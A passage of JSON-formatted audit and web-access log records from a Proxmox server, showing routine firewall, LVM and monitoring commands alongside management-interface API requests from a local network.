type=NETFILTER_CFG msg=audit(1781965685.950:66671): table=filter family=7 entries=4 op=xt_replace pid=64039 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /?console=kvm&vmid=877&node=pve&resize=scale&novnc=1 HTTP/1.1\" 200 3465"} {"@timestamp":1781966324694,"@rawstring":"node=pve type=EXECVE msg=audit(1781966324.694:69302): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964710026,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965654760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964285637,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.637:60364): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1361e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966200.785:68864): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675205,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.205:62094): argc=1 a0=\"date\""} {"@timestamp":1781966315838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.838:69272): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66500 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995038,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.038:67978): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675766,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965675.766:66629): table=filter family=7 entries=4 op=xt_replace pid=63998 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /pve2/images/logo-128.png HTTP/1.1\" 200 4977"} {"@timestamp":1781966321324,"@rawstring":"node=pve type=EXECVE msg=audit(1781966321.324:69301): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964710026,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965652754,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 899"} {"@timestamp":1781964285630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.630:60363): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1477f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57958 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966200.785:68863): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675201,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.201:62092): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966315832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.832:69271): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.031:67976): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665525,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965665.525:66587): table=filter family=7 entries=4 op=xt_replace pid=63959 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:02 +0100] \"GET /pve2/images/icon-cd-drive.svg HTTP/1.1\" 200 404"} {"@timestamp":1781966321324,"@rawstring":"node=pve type=EXECVE msg=audit(1781966321.324:69300): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964708609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965652754,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964285624,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.624:60362): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148c10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57957 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966200779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966200.779:68861): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66125 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675196,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.196:62091): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966314604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966314.604:69270): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d73de390 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965995031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965995.031:67975): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965655312,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965655.312:66542): table=filter family=7 entries=4 op=xt_replace pid=63914 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:02 +0100] \"GET /pve2/images/logo-128.png HTTP/1.1\" 200 4977"} {"@timestamp":1781966321322,"@rawstring":"node=pve type=EXECVE msg=audit(1781966321.322:69299): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964708609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 837"} {"@timestamp":1781965652754,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964285024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.024:60361): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74090d0 a1=64f8d7417e20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966200779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966200.779:68860): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66125 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675189,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.189:62090): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966314566,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966314.566:69269): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bbbe0 a1=64f8d73df130 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965990021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965990.021:67971): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965646121,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965646.121:66499): table=filter family=7 entries=4 op=xt_replace pid=63873 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:02 +0100] \"GET /pve2/images/icon-memory.svg HTTP/1.1\" 200 389"} {"@timestamp":1781966321187,"@rawstring":"node=pve type=EXECVE msg=audit(1781966321.187:69298): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964706909,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965651748,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964284984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964284.984:60360): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ef1c0 a1=64f8d73ee5b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57953 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.763:68858): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66124 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675184,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.184:62089): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966311154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966311.154:69268): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965990021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965990.021:67970): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635923,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965635.923:66455): table=filter family=7 entries=4 op=xt_replace pid=63827 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:02 +0100] \"GET /pve2/images/icon-cpu.svg HTTP/1.1\" 200 425"} {"@timestamp":1781966321178,"@rawstring":"node=pve type=EXECVE msg=audit(1781966321.178:69295): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964706909,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965651748,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964283596,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964283.596:60359): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195763,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.763:68857): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66124 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675177,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.177:62088): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966311147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966311.147:69265): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965990008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965990.008:67968): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965625728,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965625.728:66413): table=filter family=7 entries=4 op=xt_replace pid=63788 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965082649,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:01 +0100] \"GET /pve2/images/logo-128.png HTTP/1.1\" 200 4977"} {"@timestamp":1781966316171,"@rawstring":"node=pve type=EXECVE msg=audit(1781966316.171:69292): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964706909,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781965650742,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781964283590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964283.590:60356): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57951 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.752:68855): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675170,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.170:62087): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966306140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966306.140:69262): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965990008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965990.008:67967): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615496,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965615.496:66371): table=filter family=7 entries=4 op=xt_replace pid=63746 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965080220,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:59 +0100] \"GET /pve2/images/logo-128.png HTTP/1.1\" 200 4977"} {"@timestamp":1781966316163,"@rawstring":"node=pve type=EXECVE msg=audit(1781966316.163:69289): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964704679,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781965650742,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781964279602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964279.602:60353): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242570 a1=637ee7242cb0 a2=637ee7240ef0 a3=8 items=2 ppid=57947 pid=57949 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.752:68854): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964674672,"@rawstring":"node=pve type=EXECVE msg=audit(1781964674.672:62086): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966306133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966306.133:69259): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965986067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965986.067:67962): arch=c000003e syscall=59 success=no exit=-2 a0=7fff272105a0 a1=5d11a548f310 a2=5d11a5488680 a3=5 items=1 ppid=65266 pid=65267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605242,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965605.242:66328): table=filter family=7 entries=4 op=xt_replace pid=63705 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965052697,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:17:32 +0100] \"GET /pve2/images/spinner.svg HTTP/1.1\" 200 393"} {"@timestamp":1781966315894,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.894:69285): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964703658,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965648729,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964279602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964279.602:60352): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242b60 a1=637ee7252450 a2=637ee7240ef0 a3=8 items=2 ppid=57947 pid=57948 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195615,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.615:68850): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcde157a60 a1=572469efe310 a2=572469ef7680 a3=5 items=1 ppid=66116 pid=66117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964674648,"@rawstring":"node=pve type=EXECVE msg=audit(1781964674.648:62085): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966305823,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966305.823:69256): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=64a4932cce60 items=0 ppid=1156 pid=66489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965985969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965985.969:67944): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc1c5f25d0 a1=5dc4c29061c0 a2=5dc4c28e4680 a3=5 items=1 ppid=65247 pid=65248 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596046,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965596.046:66283): table=filter family=7 entries=4 op=xt_replace pid=63659 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965050682,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:17:29 +0100] \"GET /pve2/images/logo-128.png HTTP/1.1\" 200 4977"} {"@timestamp":1781966315890,"@rawstring":"node=pve type=EXECVE msg=audit(1781966315.890:69284): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964703658,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1081"} {"@timestamp":1781965648729,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964279600,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964279.600:60351): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242790 a1=637ee72568a0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=57946 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" 